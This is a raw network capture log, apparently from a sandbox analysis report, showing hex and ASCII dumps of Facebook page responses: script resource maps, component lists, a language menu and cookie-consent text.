2022-09-09 16:01:51 UTC	503	IN	Data Raw: 76 33 69 54 66 62 34 5c 2f 79 55 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 2d 72 7a 63 72 33 62 72 43 68 32 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 78 32 32 4f 62 79 34 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 68 5c 2f 72 5c 2f 39 31 5a 56 4b 55 50 54 71 41 61 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 38 45 4c 43 42 77 48 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e Data Ascii: v3iTfb4\/yU\/l\/en_US\/-rzcr3brCh2.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"x22Oby4":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yh\/r\/91ZVKUPTqAa.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"8ELCBwH":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.
2022-09-09 16:01:51 UTC	504	IN	Data Raw: 64 44 74 39 22 2c 22 6e 63 22 3a 31 2c 22 64 22 3a 31 7d 7d 2c 22 63 6f 6d 70 4d 61 70 22 3a 7b 22 44 6f 63 6b 22 3a 7b 22 72 22 3a 5b 22 6e 65 44 6d 63 33 61 22 2c 22 4f 30 31 62 64 4e 74 22 2c 22 63 55 57 72 35 44 63 22 2c 22 67 6a 7a 44 36 33 34 22 2c 22 41 77 74 39 4c 50 62 22 2c 22 41 39 63 69 56 42 39 22 2c 22 37 4c 31 57 44 68 47 22 2c 22 41 57 4f 2b 54 44 75 22 2c 22 41 5c 2f 75 49 30 78 31 22 2c 22 66 38 35 39 64 51 49 22 2c 22 34 4c 47 30 39 45 6d 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 57 65 62 53 70 65 65 64 49 6e 74 65 72 61 63 74 69 6f 6e 73 54 79 70 65 64 4c 6f 67 67 65 72 22 3a 7b 22 72 22 3a 5b 22 54 55 78 56 36 38 53 22 2c 22 41 57 4f 2b 54 44 75 22 2c 22 68 4b 59 30 51 4b 54 22 2c 22 66 38 35 39 64 51 49 22 5d 2c 22 72 64 73 22 3a 7b 22 6d Data Ascii: dDt9","nc":1,"d":1}},"compMap":{"Dock":{"r":["neDmc3a","O01bdNt","cUWr5Dc","gjzD634","Awt9LPb","A9ciVB9","7L1WDhG","AWO+TDu","A\/uI0x1","f859dQI","4LG09Em"],"be":1},"WebSpeedInteractionsTypedLogger":{"r":["TUxV68S","AWO+TDu","hKY0QKT","f859dQI"],"rds":{"m
2022-09-09 16:01:51 UTC	506	IN	Data Raw: 59 30 51 4b 54 22 2c 22 66 38 35 39 64 51 49 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 50 68 6f 74 6f 54 61 67 41 70 70 72 6f 76 61 6c 22 3a 7b 22 72 22 3a 5b 22 78 4d 44 30 34 37 63 22 2c 22 41 77 74 39 4c 50 62 22 2c 22 64 36 6d 70 33 56 59 22 2c 22 41 57 4f 2b 54 44 75 22 2c 22 34 4c 47 30 39 45 6d 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 50 68 6f 74 6f 53 6e 6f 77 6c 69 66 74 22 3a 7b 22 72 22 3a 5b 22 50 6c 6c 33 6e 5a 4a 22 2c 22 69 59 49 6a 31 61 53 22 2c 22 77 43 38 4e 4b 62 48 22 2c 22 61 5c 2f 38 46 2b 70 79 22 2c 22 7a 68 31 38 45 63 55 22 2c 22 57 61 6c 52 49 4f 59 22 2c 22 79 52 61 39 76 67 35 22 2c 22 50 53 4b 6c 57 4e 57 22 2c 22 44 30 45 42 32 34 35 22 2c 22 45 33 73 58 4b 4b 6b 22 2c 22 69 56 62 76 5a 37 51 22 2c 22 78 4d 44 30 34 37 63 22 2c 22 Data Ascii: Y0QKT","f859dQI"]},"be":1},"PhotoTagApproval":{"r":["xMD047c","Awt9LPb","d6mp3VY","AWO+TDu","4LG09Em"],"be":1},"PhotoSnowlift":{"r":["Pll3nZJ","iYIj1aS","wC8NKbH","a\/8F+py","zh18EcU","WalRIOY","yRa9vg5","PSKlWNW","D0EB245","E3sXKKk","iVbvZ7Q","xMD047c","
2022-09-09 16:01:51 UTC	507	IN	Data Raw: 37 76 44 4a 62 22 2c 22 41 39 63 69 56 42 39 22 2c 22 79 63 69 58 61 78 69 22 2c 22 50 4c 51 4b 67 64 64 22 2c 22 71 65 57 30 70 74 62 22 2c 22 54 56 34 52 55 70 6a 22 2c 22 37 4c 31 57 44 68 47 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 78 59 43 53 46 64 4f 22 2c 22 37 66 73 6e 54 4f 78 22 2c 22 62 4a 39 32 32 79 67 22 2c 22 57 77 56 77 70 58 51 22 2c 22 68 65 32 6c 5a 46 41 22 2c 22 5c 2f 6f 35 59 76 4f 32 22 2c 22 64 36 6d 70 33 56 59 22 2c 22 4e 30 77 44 5c 2f 70 78 22 2c 22 69 55 74 67 6f 4d 51 22 2c 22 63 5a 70 69 4b 36 30 22 2c 22 4a 71 69 43 70 5c 2f 70 22 2c 22 6a 6a 32 39 55 5a 42 22 2c 22 65 6f 56 58 2b 57 55 22 2c 22 57 49 4b 6e 76 6b 34 22 2c 22 48 76 42 34 75 33 48 22 2c 22 50 43 6f 77 6f 2b 4e 22 2c 22 66 79 56 4d 66 42 4d 22 0d 0a Data Ascii: 7vDJb","A9ciVB9","yciXaxi","PLQKgdd","qeW0ptb","TV4RUpj","7L1WDhG","R5w1rCJ","xYCSFdO","7fsnTOx","bJ922yg","WwVwpXQ","he2lZFA","\/o5YvO2","d6mp3VY","N0wD\/px","iUtgoMQ","cZpiK60","JqiCp\/p","jj29UZB","eoVX+WU","WIKnvk4","HvB4u3H","PCowo+N","fyVMfBM"
2022-09-09 16:01:51 UTC	507	IN	Data Raw: 34 34 62 65 0d 0a 2c 22 31 62 6c 37 4b 35 4b 22 2c 22 4a 75 34 36 51 43 43 22 2c 22 41 57 4f 2b 54 44 75 22 2c 22 50 48 70 75 46 42 78 22 2c 22 47 51 61 57 7a 38 54 22 2c 22 59 44 2b 6d 75 6c 30 22 2c 22 57 50 66 31 4e 32 32 22 2c 22 33 64 6b 41 38 75 65 22 2c 22 68 4b 59 30 51 4b 54 22 2c 22 4b 4a 53 71 51 36 7a 22 2c 22 72 77 33 4d 4c 5c 2f 63 22 2c 22 47 70 51 46 42 77 4c 22 2c 22 38 42 44 4d 32 5c 2f 70 22 2c 22 52 75 63 6f 41 56 6c 22 2c 22 39 42 4a 64 66 2b 5a 22 2c 22 48 7a 76 69 50 46 46 22 2c 22 6a 6c 66 56 42 4a 6d 22 2c 22 4b 47 75 6e 5a 64 38 22 2c 22 65 37 6d 39 52 48 77 22 2c 22 41 5c 2f 75 49 30 78 31 22 2c 22 42 6d 35 50 51 64 54 22 2c 22 39 5a 30 4a 51 57 50 22 2c 22 31 74 63 39 62 44 73 22 2c 22 67 70 66 33 4d 36 48 22 2c 22 6c 77 54 35 Data Ascii: 44be,"1bl7K5K","Ju46QCC","AWO+TDu","PHpuFBx","GQaWz8T","YD+mul0","WPf1N22","3dkA8ue","hKY0QKT","KJSqQ6z","rw3ML\/c","GpQFBwL","8BDM2\/p","RucoAVl","9BJdf+Z","HzviPFF","jlfVBJm","KGunZd8","e7m9RHw","A\/uI0x1","Bm5PQdT","9Z0JQWP","1tc9bDs","gpf3M6H","lwT5
2022-09-09 16:01:51 UTC	509	IN	Data Raw: 2c 22 79 53 65 57 37 48 67 22 2c 22 66 38 35 39 64 51 49 22 2c 22 63 68 62 39 6d 42 44 22 2c 22 39 67 6b 30 77 69 47 22 2c 22 6e 45 47 73 73 58 42 22 2c 22 34 4c 47 30 39 45 6d 22 2c 22 2b 71 52 48 53 56 58 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 48 6f 76 65 72 63 61 72 64 22 3a 7b 22 72 22 3a 5b 22 69 59 49 6a 31 61 53 22 2c 22 79 52 61 39 76 67 35 22 2c 22 44 30 45 42 32 34 35 22 2c 22 69 56 62 76 5a 37 51 22 2c 22 64 47 5a 5a 4b 50 6b 22 2c 22 75 4e 4b 46 72 4a 41 22 2c 22 61 46 39 69 50 48 64 22 2c 22 45 2b 78 53 34 50 75 22 2c 22 6e 65 44 6d 63 33 61 22 2c 22 4f 30 31 62 64 4e 74 22 2c 22 63 55 57 72 35 Data Ascii: ,"ySeW7Hg","f859dQI","chb9mBD","9gk0wiG","nEGssXB","4LG09Em","+qRHSVX"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent"]},"be":1},"Hovercard":{"r":["iYIj1aS","yRa9vg5","D0EB245","iVbvZ7Q","dGZZKPk","uNKFrJA","aF9iPHd","E+xS4Pu","neDmc3a","O01bdNt","cUWr5
2022-09-09 16:01:51 UTC	510	IN	Data Raw: 2c 22 62 4a 39 32 32 79 67 22 2c 22 63 5a 70 69 4b 36 30 22 2c 22 41 57 4f 2b 54 44 75 22 2c 22 57 50 66 31 4e 32 32 22 2c 22 33 64 6b 41 38 75 65 22 2c 22 68 4b 59 30 51 4b 54 22 2c 22 41 5c 2f 75 49 30 78 31 22 2c 22 6c 77 54 35 51 78 77 22 2c 22 63 59 55 33 63 33 32 22 2c 22 79 53 65 57 37 48 67 22 2c 22 66 38 35 39 64 51 49 22 2c 22 63 68 62 39 6d 42 44 22 2c 22 39 67 6b 30 77 69 47 22 2c 22 6e 45 47 73 73 58 42 22 2c 22 34 4c 47 30 39 45 6d 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 51 75 69 63 6b 53 61 6e 64 53 6f 6c 76 65 72 22 3a 7b 22 72 22 3a 5b 22 64 41 78 58 30 6a 6a 22 2c 22 41 77 74 39 4c 50 62 22 Data Ascii: ,"bJ922yg","cZpiK60","AWO+TDu","WPf1N22","3dkA8ue","hKY0QKT","A\/uI0x1","lwT5Qxw","cYU3c32","ySeW7Hg","f859dQI","chb9mBD","9gk0wiG","nEGssXB","4LG09Em"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent"]},"be":1},"QuickSandSolver":{"r":["dAxX0jj","Awt9LPb"
2022-09-09 16:01:51 UTC	512	IN	Data Raw: 63 5a 70 69 4b 36 30 22 2c 22 41 57 4f 2b 54 44 75 22 2c 22 57 50 66 31 4e 32 32 22 2c 22 33 64 6b 41 38 75 65 22 2c 22 68 4b 59 30 51 4b 54 22 2c 22 41 5c 2f 75 49 30 78 31 22 2c 22 6c 77 54 35 51 78 77 22 2c 22 63 59 55 33 63 33 32 22 2c 22 63 68 62 39 6d 42 44 22 2c 22 39 67 6b 30 77 69 47 22 2c 22 6e 45 47 73 73 58 42 22 2c 22 34 4c 47 30 39 45 6d 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 72 22 3a 5b 22 66 38 35 39 64 51 49 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 58 55 49 47 72 61 79 54 65 78 74 2e 72 65 61 63 74 22 3a 7b 22 72 22 3a 5b 22 50 6c 6c 33 6e 5a 4a 22 2c 22 75 4e 4b 46 72 4a 41 22 2c 22 45 2b 78 53 34 50 75 22 2c 22 77 37 Data Ascii: cZpiK60","AWO+TDu","WPf1N22","3dkA8ue","hKY0QKT","A\/uI0x1","lwT5Qxw","cYU3c32","chb9mBD","9gk0wiG","nEGssXB","4LG09Em"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent"],"r":["f859dQI"]},"be":1},"XUIGrayText.react":{"r":["Pll3nZJ","uNKFrJA","E+xS4Pu","w7
2022-09-09 16:01:51 UTC	513	IN	Data Raw: 41 70 66 4d 54 34 51 42 78 41 77 69 48 32 69 49 47 68 30 41 22 2c 22 75 6e 74 72 75 73 74 65 64 5f 6c 69 6e 6b 5f 64 65 66 61 75 6c 74 5f 68 61 73 68 22 3a 22 41 54 31 2d 43 63 70 4f 6c 4d 6d 68 78 55 56 2d 5a 71 7a 6f 76 43 55 53 68 49 6e 32 37 35 74 78 6a 37 54 67 51 4a 6f 7a 63 59 79 31 46 53 5f 70 6b 30 2d 6c 77 77 6b 32 35 78 50 41 4e 69 35 7a 75 72 49 56 78 53 65 37 57 58 74 63 35 34 64 5f 49 61 5a 75 43 50 69 6e 54 4d 5a 72 5a 37 4d 41 32 64 44 65 35 33 4d 37 66 65 2d 38 51 62 54 58 39 6f 5f 39 77 50 77 7a 39 6e 4a 69 64 37 50 69 61 57 37 44 64 32 6f 77 68 74 42 42 4e 56 41 77 61 5a 45 65 63 67 22 2c 22 6c 69 6e 6b 73 68 69 6d 5f 68 6f 73 74 22 3a 22 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 22 2c 22 6c 69 6e 6b 73 68 69 6d 5f 70 61 74 68 22 3a 22 Data Ascii: ApfMT4QBxAwiH2iIGh0A","untrusted_link_default_hash":"AT1-CcpOlMmhxUV-ZqzovCUShIn275txj7TgQJozcYy1FS_pk0-lwwk25xPANi5zurIVxSe7WXtc54d_IaZuCPinTMZrZ7MA2dDe53M7fe-8QbTX9o_9wPwz9nJid7PiaW7Dd2owhtBBNVAwaZEecg","linkshim_host":"l.facebook.com","linkshim_path":"
2022-09-09 16:01:51 UTC	515	IN	Data Raw: 30 37 39 5f 30 5f 6d 5f 6f 44 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6e 5f 75 77 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6f 5f 4e 55 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 70 5f 64 67 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 71 5f 31 67 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 72 5f 34 6d 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 73 5f 53 44 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 74 5f 5c 2f 45 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 75 5f 57 73 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 76 5f 63 65 22 Data Ascii: 079_0_m_oD","__markup_3310c079_0_n_uw","__markup_3310c079_0_o_NU","__markup_3310c079_0_p_dg","__markup_3310c079_0_q_1g","__markup_3310c079_0_r_4m","__markup_3310c079_0_s_SD","__markup_3310c079_0_t_\/E","__markup_3310c079_0_u_Ws","__markup_3310c079_0_v_ce"
2022-09-09 16:01:51 UTC	516	IN	Data Raw: 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 36 5f 55 52 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 45 73 70 61 5c 75 30 30 66 31 6f 6c 20 28 45 73 70 61 5c 75 30 30 66 31 61 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 66 72 5f 46 52 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 Data Ascii: "selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_6_UR"},"label":"Espa\u00f1ol (Espa\u00f1a)","title":"","className":"headerItem"},{"class":"headerItem","value":"fr_FR","selected":false,"ctor":{"__m":"MenuSelectable
2022-09-09 16:01:51 UTC	518	IN	Data Raw: 42 72 61 73 69 6c 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 70 74 5f 50 54 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 65 5f 4d 70 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 50 6f 72 74 75 67 75 5c 75 30 30 65 61 73 20 28 50 6f 72 74 75 67 61 6c 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b Data Ascii: Brasil)","title":"","className":"headerItem"},{"class":"headerItem","value":"pt_PT","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_e_Mp"},"label":"Portugu\u00eas (Portugal)","title":"","className":"headerItem"},{
2022-09-09 16:01:51 UTC	519	IN	Data Raw: 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6c 5f 59 6d 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 30 33 39 35 5c 75 30 33 62 62 5c 75 30 33 62 62 5c 75 30 33 62 37 5c 75 30 33 62 64 5c 75 30 33 62 39 5c 75 30 33 62 61 5c 75 30 33 61 63 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 72 75 5f 52 55 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c Data Ascii: ":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_l_Ym"},"label":"\u0395\u03bb\u03bb\u03b7\u03bd\u03b9\u03ba\u03ac","title":"","className":"headerItem"},{"class":"headerItem","value":"ru_RU","selected":false,"ctor":{"__m":"MenuSelectableItem"},
2022-09-09 16:01:51 UTC	520	IN	Data Raw: 22 2c 22 76 61 6c 75 65 22 3a 22 7a 68 5f 43 4e 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 73 5f 53 44 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 34 65 32 64 5c 75 36 35 38 37 28 5c 75 37 62 38 30 5c 75 34 66 35 33 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 7a 68 5f 48 4b 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f Data Ascii: ","value":"zh_CN","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_s_SD"},"label":"\u4e2d\u6587(\u7b80\u4f53)","title":"","className":"headerItem"},{"class":"headerItem","value":"zh_HK","selected":false,"ctor":{"__
2022-09-09 16:01:51 UTC	522	IN	Data Raw: 2c 22 63 6c 61 73 73 4e 61 6d 65 73 22 3a 5b 22 5f 39 6f 2d 77 22 5d 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 6d 53 22 7d 5d 2c 32 5d 2c 5b 22 5f 5f 69 6e 73 74 5f 65 35 61 64 32 34 33 64 5f 30 5f 30 5f 68 41 22 2c 5b 22 50 6f 70 6f 76 65 72 4d 65 6e 75 22 2c 22 5f 5f 69 6e 73 74 5f 31 64 65 31 34 36 64 63 5f 30 5f 30 5f 43 5a 22 2c 22 5f 5f 65 6c 65 6d 5f 65 63 37 37 61 66 62 64 5f 30 5f 30 5f 34 77 22 2c 22 5f 5f 69 6e 73 74 5f 30 32 31 38 32 30 31 35 5f 30 5f 30 5f 52 51 22 2c 22 50 6f 70 6f 76 65 72 4d 65 6e 75 43 6f 6e 74 65 78 74 4d 69 6e 57 69 64 74 68 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 69 6e 73 74 5f 31 64 65 31 34 36 64 63 5f 30 5f 30 5f 43 5a 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 Data Ascii: ,"classNames":["_9o-w"]},{"__m":"__markup_9f5fac15_0_0_mS"}],2],["__inst_e5ad243d_0_0_hA",["PopoverMenu","__inst_1de146dc_0_0_CZ","__elem_ec77afbd_0_0_4w","__inst_02182015_0_0_RQ","PopoverMenuContextMinWidth"],[{"__m":"__inst_1de146dc_0_0_CZ"},{"__m":"__e
2022-09-09 16:01:51 UTC	523	IN	Data Raw: 6c 6f 77 20 74 68 65 20 75 73 65 20 6f 66 20 63 6f 6f 6b 69 65 73 20 66 72 6f 6d 20 46 61 63 65 62 6f 6f 6b 20 6f 6e 20 74 68 69 73 20 62 72 6f 77 73 65 72 3f 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 67 5c 22 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6f 31 5c 22 3e 57 65 20 75 73 65 20 63 6f 6f 6b 69 65 73 20 61 6e 64 20 73 69 6d 69 6c 61 72 20 74 65 63 68 6e 6f 6c 6f 67 69 65 73 20 74 6f 20 68 65 6c 70 3a 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6f 32 5c 22 3e 5c 75 30 30 33 43 69 20 Data Ascii: low the use of cookies from Facebook on this browser?\u003C\/div>\u003C\/div>\u003C\/div>\u003Cdiv class=\"_9o-g\">\u003Cdiv>\u003Cdiv>\u003Cdiv class=\"_9xo1\">We use cookies and similar technologies to help:\u003C\/div>\u003Cdiv class=\"_9xo2\">\u003Ci
2022-09-09 16:01:51 UTC	524	IN	Data Raw: 33 33 32 63 0d 0a 61 6c 73 6f 20 75 73 65 20 63 6f 6f 6b 69 65 73 2e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6f 33 5c 22 3e 59 6f 75 20 63 61 6e 20 61 6c 6c 6f 77 20 74 68 65 20 75 73 65 20 6f 66 20 61 6c 6c 20 63 6f 6f 6b 69 65 73 2c 20 6a 75 73 74 20 65 73 73 65 6e 74 69 61 6c 20 63 6f 6f 6b 69 65 73 20 6f 72 20 79 6f 75 20 63 61 6e 20 63 68 6f 6f 73 65 20 6d 6f 72 65 20 6f 70 74 69 6f 6e 73 20 62 65 6c 6f 77 2e 20 59 6f 75 20 63 61 6e 20 6c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f 75 74 20 63 6f 6f 6b 69 65 73 20 61 6e 64 20 68 6f 77 20 77 65 20 75 73 65 20 74 68 65 6d 2c 20 61 6e 64 20 72 65 76 69 65 77 20 6f 72 20 63 68 61 6e 67 65 20 79 6f 75 72 20 63 68 6f 69 63 65 20 61 74 20 61 6e 79 20 74 Data Ascii: 332calso use cookies.\u003C\/div>\u003Cdiv class=\"_9xo3\">You can allow the use of all cookies, just essential cookies or you can choose more options below. You can learn more about cookies and how we use them, and review or change your choice at any t
2022-09-09 16:01:51 UTC	526	IN	Data Raw: 65 72 20 61 64 73 2c 20 77 65 20 75 73 65 20 64 61 74 61 20 74 68 61 74 20 61 64 76 65 72 74 69 73 65 72 73 20 61 6e 64 20 6f 74 68 65 72 20 70 61 72 74 6e 65 72 73 20 70 72 6f 76 69 64 65 20 75 73 20 61 62 6f 75 74 20 79 6f 75 72 20 61 63 74 69 76 69 74 79 20 6f 66 66 20 46 61 63 65 62 6f 6f 6b 20 43 6f 6d 70 61 6e 79 20 50 72 6f 64 75 63 74 73 2c 20 69 6e 63 6c 75 64 69 6e 67 20 77 65 62 73 69 74 65 73 20 61 6e 64 20 61 70 70 73 2e 20 59 6f 75 20 63 61 6e 20 63 6f 6e 74 72 6f 6c 20 77 68 65 74 68 65 72 20 77 65 20 75 73 65 20 74 68 69 73 20 64 61 74 61 20 74 6f 20 73 68 6f 77 20 79 6f 75 20 61 64 73 20 69 6e 20 79 6f 75 72 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f Data Ascii: er ads, we use data that advertisers and other partners provide us about your activity off Facebook Company Products, including websites and apps. You can control whether we use this data to show you ads in your \u003Ca href=\"https:\/\/www.facebook.com\/
2022-09-09 16:01:51 UTC	527	IN	Data Raw: 6f 20 74 68 69 6e 67 73 20 73 75 63 68 20 61 73 20 67 69 76 65 20 79 6f 75 20 61 20 6d 6f 72 65 20 70 65 72 73 6f 6e 61 6c 69 7a 65 64 20 65 78 70 65 72 69 65 6e 63 65 20 6f 6e 20 46 61 63 65 62 6f 6f 6b 2e 20 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f 75 74 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 68 65 6c 70 5c 2f 32 32 30 37 32 35 36 36 39 36 31 38 32 36 32 37 5c 22 3e 6f 66 66 2d 46 61 63 65 62 6f 6f 6b 20 61 63 74 69 76 69 74 79 5c 75 30 30 33 43 5c 2f 61 3e 2c 20 68 6f 77 20 77 65 20 75 73 65 20 69 74 2c 20 61 6e 64 20 68 6f 77 20 79 6f 75 20 63 61 6e 20 6d 61 6e 61 67 65 20 69 74 2e 5c 75 30 30 33 43 5c 2f 70 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 Data Ascii: o things such as give you a more personalized experience on Facebook. Learn more about \u003Ca href=\"https:\/\/www.facebook.com\/help\/2207256696182627\">off-Facebook activity\u003C\/a>, how we use it, and how you can manage it.\u003C\/p>\u003C\/div>\u00
